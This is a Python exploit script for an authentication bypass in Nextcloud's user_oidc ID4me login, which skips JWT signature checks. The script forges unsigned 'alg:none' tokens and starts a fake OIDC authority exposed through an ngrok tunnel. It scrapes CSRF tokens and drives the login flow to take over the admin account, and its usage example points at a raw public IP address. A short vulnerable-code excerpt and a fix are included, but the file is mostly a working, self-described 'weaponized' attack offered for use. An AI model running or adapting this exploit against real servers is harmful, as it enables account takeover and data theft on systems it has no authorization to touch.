#!/usr/bin/env python3 """ ===================================================================== CVE-2026-45156: Nextcloud user_oidc ID4me JWT Signature Bypass Proof of Concept (PoC) Exploit Script Author: CyberTechAjju Vulnerability : Missing JWT signature verification File : lib/Controller/Id4meController.php (Lines 248-252) Impact : Authentication bypass -> Admin takeover Usage: python nextcloud_id4me_poc.py [--user admin] Example: python nextcloud_id4me_poc.py https://target.lab =================================================================== LEGAL DISCLAIMER: This Proof of Concept (PoC) script is provided for EDUCATIONAL AND AUTHORIZED SECURITY TESTING PURPOSES ONLY. It is intended for security researchers and bug bounty hunters to test systems they have explicit permission to audit. Any unauthorized use of this tool against systems you do not own or have permission to test is strictly prohibited and may be illegal. The author is not responsible for any misuse or damage caused by this tool. =================================================================== """ import base64 import json import os import re import socket import sys import time import threading import urllib.parse from http.server import HTTPServer, BaseHTTPRequestHandler try: import requests requests.packages.urllib3.disable_warnings() except ImportError: print("\n [!] Missing: pip install requests\n") sys.exit(1) try: from pyngrok import ngrok, conf as ngrok_conf except ImportError: print("\n [!] Missing: pip install pyngrok\n") sys.exit(1) # ============================================ # CONSOLE # ============================================ class C: R = "\033[91m"; G = "\033[92m"; Y = "\033[93m" CN = "\033[96m"; B = "\033[1m"; D = "\033[2m" X = "\033[0m" def info(m): print(f" {C.CN}[*]{C.X} {m}") def ok(m): print(f" {C.G}[+]{C.X} {m}") def warn(m): print(f" {C.Y}[!]{C.X} {m}") def fail(m): print(f" {C.R}[-]{C.X} {m}") def step(n,m): print(f"\n {C.Y}{C.B}{'='*55}\n [{n}] {m}\n {'='*55}{C.X}\n") def banner(): import time import sys # Hide cursor sys.stdout.write('\033[?25l') red = "\033[38;5;196m" dark_red = "\033[38;5;124m" neon_red = "\033[38;5;9m" white = "\033[97m" bold = "\033[1m" reset = "\033[0m" glitch_frames = [ f"{red} [x] INITIALIZING EXPLOIT PAYLOAD...{reset}", f"{dark_red} [!] BYPASSING JWT SIGNATURE CHECKS...{reset}", f"{neon_red} [>] INJECTING FORGED TOKENS...{reset}", f"{red} [+] ACCESS GRANTED.{reset}" ] print("\n") for frame in glitch_frames: sys.stdout.write(f"\r{frame}") sys.stdout.flush() time.sleep(0.4) print("\n") hacker_art = f"""{bold}{neon_red} ██████╗ ██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝ ██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ {reset} """ for line in hacker_art.split('\n'): print(line) time.sleep(0.05) print(f"""{bold}{white} ╔═══════════════════════════════════════════════════════════════╗ ║ {neon_red}Nextcloud user_oidc - ID4me JWT Signature Bypass PoC{white} ║ ║ Fully Automated + Ngrok Tunnel Framework ║ ║ Targeting: Id4meController.php (Lines 248-252) ║ ║ ║ ║ {dark_red}Author:{white} CyberTechAjju ║ ║ {dark_red}Status:{white} WEAPONIZED ║ ╚═══════════════════════════════════════════════════════════════╝{reset} """) # Show cursor sys.stdout.write('\033[?25h') time.sleep(0.5) # ============================================ # JWT FORGERY # ============================================ def b64url(data): if isinstance(data, str): data = data.encode() return base64.urlsafe_b64encode(data).decode().rstrip("=") def forge_jwt(user, issuer="https://attacker.id4me"): h = json.dumps({"alg": "none", "typ": "JWT"}) p = json.dumps({ "sub": user, "exp": 9999999999, "iat": int(time.time()), "aud": "nextcloud", "iss": issuer, "nonce": "poc", "email": f"{user}@exploit.poc", "preferred_username": user, }) return f"{b64url(h)}.{b64url(p)}." # ============================================ # FAKE ID4ME OIDC SERVER # ============================================ class SharedState: target_user = "admin" public_url = "" # ngrok public URL token_requested = False # did target hit /token? token_sent = "" # JWT we sent back auth_redirected = False # did we redirect back? requests_log = [] # all requests received class OIDCHandler(BaseHTTPRequestHandler): def log_message(self, *_): pass def _json(self, obj, code=200): body = json.dumps(obj).encode() self.send_response(code) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", len(body)) self.send_header("Access-Control-Allow-Origin", "*") self.end_headers() self.wfile.write(body) def do_GET(self): path = urllib.parse.urlparse(self.path).path query = dict(urllib.parse.parse_qsl(urllib.parse.urlparse(self.path).query)) SharedState.requests_log.append(("GET", path, query)) ok(f" OIDC Server <-- GET {path}") if path == "/.well-known/openid-configuration": base = SharedState.public_url self._json({ "issuer": base, "authorization_endpoint": f"{base}/authorize", "token_endpoint": f"{base}/token", "jwks_uri": f"{base}/jwks", "userinfo_endpoint": f"{base}/userinfo", "response_types_supported": ["code"], "subject_types_supported": ["public"], "id_token_signing_alg_values_supported": ["none", "RS256"], "scopes_supported": ["openid", "profile", "email"], }) ok(" --> Sent OpenID Configuration") elif path == "/authorize": redirect_uri = query.get("redirect_uri", "") state = query.get("state", "") if redirect_uri: sep = "&" if "?" in redirect_uri else "?" loc = f"{redirect_uri}{sep}code=FORGED_AUTH_CODE&state={state}" self.send_response(302) self.send_header("Location", loc) self.end_headers() SharedState.auth_redirected = True ok(f" --> Redirected back with forged auth code") ok(f" --> To: {loc[:100]}") else: self._json({"error": "missing redirect_uri"}, 400) elif path == "/jwks": self._json({"keys": []}) elif path == "/userinfo": self._json({ "sub": SharedState.target_user, "email": f"{SharedState.target_user}@exploit.poc", "preferred_username": SharedState.target_user, "name": SharedState.target_user, }) ok(f" --> Sent userinfo for: {SharedState.target_user}") else: self.send_error(404) def do_POST(self): path = urllib.parse.urlparse(self.path).path content_len = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(content_len).decode() if content_len else "" SharedState.requests_log.append(("POST", path, body)) ok(f" OIDC Server <-- POST {path}") if path == "/token": jwt = forge_jwt(SharedState.target_user, SharedState.public_url) SharedState.token_requested = True SharedState.token_sent = jwt self._json({ "access_token": "fake_access_token_poc", "token_type": "Bearer", "expires_in": 3600, "id_token": jwt, "scope": "openid profile email", }) ok(f" --> FORGED JWT SENT for user: {SharedState.target_user}") ok(f" --> Token: {jwt[:60]}...") else: self.send_error(404) def start_oidc_server(port=9999): srv = HTTPServer(("0.0.0.0", port), OIDCHandler) t = threading.Thread(target=srv.serve_forever, daemon=True) t.start() return srv # ============================================ # NGROK TUNNEL # ============================================ def start_ngrok_tunnel(port=9999): """Start ngrok tunnel and return public HTTPS URL""" info("Starting ngrok tunnel...") info(f"Tunneling localhost:{port} to public URL...") try: # Kill any existing ngrok ngrok.kill() time.sleep(1) # Start tunnel tunnel = ngrok.connect(port, "http") public_url = tunnel.public_url # Force HTTPS if public_url.startswith("http://"): public_url = public_url.replace("http://", "https://", 1) ok(f"Ngrok tunnel active!") ok(f"Public URL: {C.B}{public_url}{C.X}") ok(f"Local: http://localhost:{port}") return tunnel, public_url except Exception as e: fail(f"Ngrok failed: {e}") fail("Make sure ngrok is configured: ngrok config add-authtoken ") fail("Get free token at: https://dashboard.ngrok.com/signup") return None, None # ============================================ # SCANNER + EXPLOITER # ============================================ class NextcloudExploit: def __init__(self, target): self.target = target.rstrip("/") if not self.target.startswith("http"): self.target = f"http://{self.target}" self.s = requests.Session() self.s.verify = False self.s.headers["User-Agent"] = ( "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " "AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/125.0.0.0 Safari/537.36" ) self.version = None self.id4me_active = False self.vuln_confirmed = False # -- Phase 1: Detect -- def detect_nextcloud(self): step(1, "DETECTING NEXTCLOUD") try: r = self.s.get(f"{self.target}/status.php", timeout=15) if r.status_code == 200: data = r.json() self.version = data.get("versionstring", data.get("version", "?")) ok(f"Nextcloud v{C.B}{self.version}{C.X}") ok(f"Product: {data.get('productname', 'Nextcloud')}") return True except: pass try: r = self.s.get(f"{self.target}/login", timeout=15) if "nextcloud" in r.text.lower(): ok("Nextcloud login page found") self.version = "unknown" return True except Exception as e: fail(f"Connection error: {e}") fail("Not a Nextcloud instance!") return False # -- Phase 1.5: Extract CSRF Token -- def grab_csrf_token(self): step("1b", "EXTRACTING CSRF TOKEN") try: r = self.s.get(f"{self.target}/login", timeout=10) # Method 1: data-requesttoken attribute m = re.search(r'data-requesttoken="([^"]+)"', r.text) if m: self.csrf_token = m.group(1) ok(f"CSRF token (data-requesttoken): {self.csrf_token[:30]}...") return True # Method 2: head[data-requesttoken] m = re.search(r"requesttoken\s*[=:]\s*[\"']([^\"']+)", r.text) if m: self.csrf_token = m.group(1) ok(f"CSRF token (regex): {self.csrf_token[:30]}...") return True # Method 3: meta tag m = re.search(r']*requesttoken[^>]*content="([^"]+)"', r.text, re.I) if m: self.csrf_token = m.group(1) ok(f"CSRF token (meta): {self.csrf_token[:30]}...") return True # Method 4: inline JS m = re.search(r'oc_requesttoken\s*=\s*["\']([^"\']+)', r.text) if m: self.csrf_token = m.group(1) ok(f"CSRF token (JS): {self.csrf_token[:30]}...") return True warn("CSRF token not found on login page") # Try getting it from a cookie or header if 'nc_token' in self.s.cookies: self.csrf_token = self.s.cookies['nc_token'] ok(f"CSRF token (cookie): {self.csrf_token[:30]}...") return True except Exception as e: fail(f"Error grabbing CSRF: {e}") self.csrf_token = "" return False # -- Phase 2: Check ID4me -- def detect_id4me(self): step(2, "CHECKING user_oidc & ID4me") found = [] # Login page check try: r = self.s.get(f"{self.target}/login", timeout=10) if "id4me" in r.text.lower(): found.append("ID4me on login page") if "user_oidc" in r.text.lower(): found.append("user_oidc on login page") except: pass # Endpoint probing eps = [ "/index.php/apps/user_oidc/id4me", "/index.php/apps/user_oidc/id4me/code", "/apps/user_oidc/id4me", "/apps/user_oidc/id4me/code", ] for ep in eps: try: r = self.s.get(f"{self.target}{ep}", timeout=8, allow_redirects=False) if r.status_code != 404: found.append(f"{ep} -> HTTP {r.status_code}") except: pass # OIDC API try: r = self.s.get( f"{self.target}/ocs/v2.php/apps/user_oidc/api/v1/providers", headers={"OCS-APIRequest": "true"}, timeout=8) if r.status_code != 404: found.append(f"OIDC API -> HTTP {r.status_code}") except: pass if found: for f_ in found: ok(f_) self.id4me_active = True return True fail("ID4me NOT found") return False # -- Phase 3: Forge JWT -- def show_forged_token(self, user): step(3, "FORGING JWT TOKEN") token = forge_jwt(user) parts = token.split(".") header = json.loads(base64.urlsafe_b64decode(parts[0] + "==")) payload = json.loads(base64.urlsafe_b64decode(parts[1] + "==")) ok(f"Target user: {C.B}{user}{C.X}") ok(f"Algorithm: {C.R}none (no signature!){C.X}") info(f"Header: {json.dumps(header)}") info(f"Payload: {json.dumps(payload)}") info(f"Token: {C.D}{token[:70]}...{C.X}") return token # -- Phase 4: Ngrok + Exploit -- def exploit_with_ngrok(self, user, port=9999): step(4, "STARTING ATTACK INFRASTRUCTURE") # Start fake OIDC server info("Starting fake OIDC authority server...") srv = start_oidc_server(port) ok(f"OIDC server running on port {port}") print() # Start ngrok tunnel tunnel, public_url = start_ngrok_tunnel(port) if not public_url: fail("Cannot proceed without ngrok tunnel!") fail("Run: ngrok config add-authtoken ") srv.shutdown() return False # Set shared state SharedState.target_user = user SharedState.public_url = public_url SharedState.token_requested = False SharedState.auth_redirected = False SharedState.requests_log = [] print() info(f"Fake authority public URL: {C.B}{public_url}{C.X}") info(f"Target will connect to this URL for OIDC flow") # --- EXPLOIT --- step(5, "EXPLOITING - FULL ID4me LOGIN FLOW") ngrok_domain = urllib.parse.urlparse(public_url).hostname # Build headers with CSRF token csrf_headers = { "requesttoken": self.csrf_token, "OCS-APIRequest": "true", "X-Requested-With": "XMLHttpRequest", "Origin": self.target, "Referer": f"{self.target}/login", } info(f"Using CSRF token: {self.csrf_token[:30]}...") info(f"Ngrok domain: {ngrok_domain}") print() # Method A: Trigger ID4me login with CSRF token info("Method A: ID4me login with CSRF token...") id4me_identifiers = [ f"exploit@{ngrok_domain}", f"{ngrok_domain}", f"admin@{ngrok_domain}", f"test@{ngrok_domain}", ] login_eps = [ "/index.php/apps/user_oidc/id4me", "/apps/user_oidc/id4me", ] for ep in login_eps: for identifier in id4me_identifiers: try: # POST with CSRF token in header r = self.s.post( f"{self.target}{ep}", data={"id4me_identifier": identifier}, headers=csrf_headers, allow_redirects=False, timeout=15, ) info(f" POST {ep} [{identifier[:30]}] -> HTTP {r.status_code}") if r.status_code in (302, 303, 307): loc = r.headers.get("Location", "") ok(f" REDIRECT -> {loc[:120]}") if loc: ok(" Following redirect chain...") r2 = self.s.get(loc, allow_redirects=True, timeout=20) info(f" Final: HTTP {r2.status_code} at {r2.url[:100]}") if any(x in r2.url for x in ["/dashboard", "/apps/files"]): self.vuln_confirmed = True ok(f" {C.R}{C.B}LANDED ON DASHBOARD - AUTH BYPASS!{C.X}") # If we got past 412, no need to try more identifiers if r.status_code != 412: break except Exception as e: info(f" {ep} -> Error: {e}") # Method A2: Try JSON body instead of form data print() info("Method A2: ID4me login with JSON body...") for ep in login_eps: try: json_headers = {**csrf_headers, "Content-Type": "application/json"} r = self.s.post( f"{self.target}{ep}", json={"id4me_identifier": f"exploit@{ngrok_domain}"}, headers=json_headers, allow_redirects=False, timeout=15, ) info(f" POST(JSON) {ep} -> HTTP {r.status_code}") if r.status_code in (302, 303, 307): loc = r.headers.get("Location", "") ok(f" REDIRECT -> {loc[:120]}") except Exception as e: info(f" {ep} -> Error: {e}") # Wait for token exchange info("\n Waiting 5s for async token exchange...") time.sleep(5) # Method B: Direct callback with forged code + CSRF print() info("Method B: Direct callback injection with CSRF...") code_eps = [ "/index.php/apps/user_oidc/id4me/code", "/apps/user_oidc/id4me/code", ] for ep in code_eps: # GET with CSRF headers (primary — HTTP 405 on POST means GET only) try: r = self.s.get( f"{self.target}{ep}", params={"code": "FORGED_AUTH_CODE", "state": "poc"}, headers=csrf_headers, allow_redirects=False, timeout=10) info(f" GET {ep} -> HTTP {r.status_code}") if r.status_code in (302, 303, 307): loc = r.headers.get("Location", "") ok(f" REDIRECT -> {loc[:120]}") if any(x in loc for x in ["/dashboard", "/apps/"]): self.vuln_confirmed = True ok(f" {C.R}{C.B}REDIRECT TO DASHBOARD!{C.X}") except Exception as e: info(f" GET -> {e}") # POST with CSRF try: r = self.s.post( f"{self.target}{ep}", data={"code": "FORGED_AUTH_CODE", "state": "poc"}, headers=csrf_headers, allow_redirects=False, timeout=10) info(f" POST {ep} -> HTTP {r.status_code}") if r.status_code in (302, 303, 307): loc = r.headers.get("Location", "") ok(f" REDIRECT -> {loc[:120]}") if any(x in loc for x in ["/dashboard", "/apps/"]): self.vuln_confirmed = True ok(f" {C.R}{C.B}REDIRECT TO DASHBOARD!{C.X}") except Exception as e: info(f" POST -> {e}") # Check what our OIDC server received print() step(6, "CHECKING ATTACK SERVER LOGS") info(f"Total requests received: {len(SharedState.requests_log)}") for method, path, data in SharedState.requests_log: ok(f" {method} {path}") print() if SharedState.token_requested: ok(f"{C.G}{C.B}TARGET HIT /token - FORGED JWT WAS SENT!{C.X}") ok(f"JWT sent: {SharedState.token_sent[:70]}...") self.vuln_confirmed = True else: info("Target did not request token from our server") if SharedState.auth_redirected: ok(f"{C.G}{C.B}TARGET WAS REDIRECTED THROUGH OUR AUTH!{C.X}") # Verify auth if self.vuln_confirmed: print() info("Verifying authenticated access...") self._check_auth() # Cleanup try: ngrok.disconnect(tunnel.public_url) ngrok.kill() except: pass srv.shutdown() return self.vuln_confirmed def _check_auth(self): checks = [ (f"{self.target}/ocs/v2.php/cloud/user", "User info"), (f"{self.target}/remote.php/dav/files/admin/", "WebDAV files"), (f"{self.target}/index.php/apps/files/", "Files app"), ] for url, desc in checks: try: r = self.s.get(url, timeout=8, allow_redirects=False, headers={"OCS-APIRequest": "true"}) if r.status_code == 200: ok(f" {desc} -> {C.G}HTTP 200 ACCESSIBLE!{C.X}") self.vuln_confirmed = True try: d = r.json() uid = d.get("ocs", {}).get("data", {}).get("id") if uid: ok(f" Logged in as: {C.B}{uid}{C.X}") except: pass else: info(f" {desc} -> HTTP {r.status_code}") except: pass # -- Final Report -- def report(self, user): step("R", "FINAL REPORT") print(f" Target: {self.target}") print(f" NC Version: {self.version or 'N/A'}") print(f" ID4me: {'Active' if self.id4me_active else 'Not Found'}") print(f" Target User: {user}") print(f" Ngrok URL: {SharedState.public_url or 'N/A'}") print(f" Token Sent: {'YES' if SharedState.token_requested else 'NO'}") print(f" Time: {time.strftime('%Y-%m-%d %H:%M:%S')}") print() if self.vuln_confirmed: print(f"""{C.R}{C.B} ========================================================= | VULNERABLE - CONFIRMED | ========================================================= | | | JWT signature verification is MISSING. | | Forged token accepted without any signature check. | | Authentication bypass -> admin takeover possible. | | | | Vuln File: Id4meController.php (Lines 248-252) | | Root Cause: base64_decode() without JWT::decode() | | TODO: "VALIATE SIGNATURE!" (never implemented) | | | ========================================================={C.X} """) elif self.id4me_active: print(f"""{C.Y}{C.B} ========================================================= | LIKELY VULNERABLE - ID4me ACTIVE | ========================================================= | | | ID4me endpoints active and responding. | | Token exchange: {'COMPLETED' if SharedState.token_requested else 'NOT COMPLETED'} | | Auth redirect: {'YES' if SharedState.auth_redirected else 'NO'} | | | | The vulnerable code pattern exists: | | explode() + base64_decode() without verify | | /** TODO: VALIATE SIGNATURE! */ | | | ========================================================={C.X} """) else: print(f"""{C.G}{C.B} ========================================================= | NOT VULNERABLE | ========================================================= | user_oidc / ID4me not active on target. | ========================================================={C.X} """) # Vuln details print(f""" {C.B}Vulnerable Code (Id4meController.php:248-252):{C.X} {C.R}[$header, $payload, $signature] = explode('.', $data['id_token']); $plainHeaders = json_decode(base64_decode($header), true); $plainPayload = json_decode(base64_decode($payload), true); /** TODO: VALIATE SIGNATURE! */{C.X} {C.B}Fix:{C.X} {C.G}$keys = JWK::parseKeySet($jwks); $payload = (array) JWT::decode($data['id_token'], $keys);{C.X} """) # -- Run Everything -- def run(self, user="admin", port=9999): banner() if not self.detect_nextcloud(): return self.grab_csrf_token() if not self.detect_id4me(): self.report(user) return self.show_forged_token(user) self.exploit_with_ngrok(user, port) self.report(user) # ============================================ # MAIN # ============================================ def main(): if len(sys.argv) < 2 or sys.argv[1] in ("-h", "--help"): print(f""" {C.CN}{C.B} Nextcloud ID4me JWT Bypass - Automated PoC + Ngrok{C.X} {C.B}Usage:{C.X} python {sys.argv[0]} [--user admin] [--port 9999] {C.B}Examples:{C.X} python {sys.argv[0]} https://219.93.30.140 python {sys.argv[0]} http://target.lab:8080 --user admin {C.B}Setup (one-time):{C.X} pip install requests pyngrok ngrok config add-authtoken (Get token: https://dashboard.ngrok.com/signup) {C.B}Flow:{C.X} 1. Detect Nextcloud + version 2. Check user_oidc / ID4me 3. Forge JWT (alg:none, no signature) 4. Start fake OIDC server + ngrok tunnel 5. Trigger ID4me flow with forged token 6. Verify authentication bypass 7. Print report """) sys.exit(0) target = sys.argv[1] user = "admin" port = 9999 args = sys.argv[2:] i = 0 while i < len(args): if args[i] == "--user" and i+1 < len(args): user = args[i+1]; i += 2 elif args[i] == "--port" and i+1 < len(args): port = int(args[i+1]); i += 2 else: i += 1 scanner = NextcloudExploit(target) scanner.run(user=user, port=port) if __name__ == "__main__": main()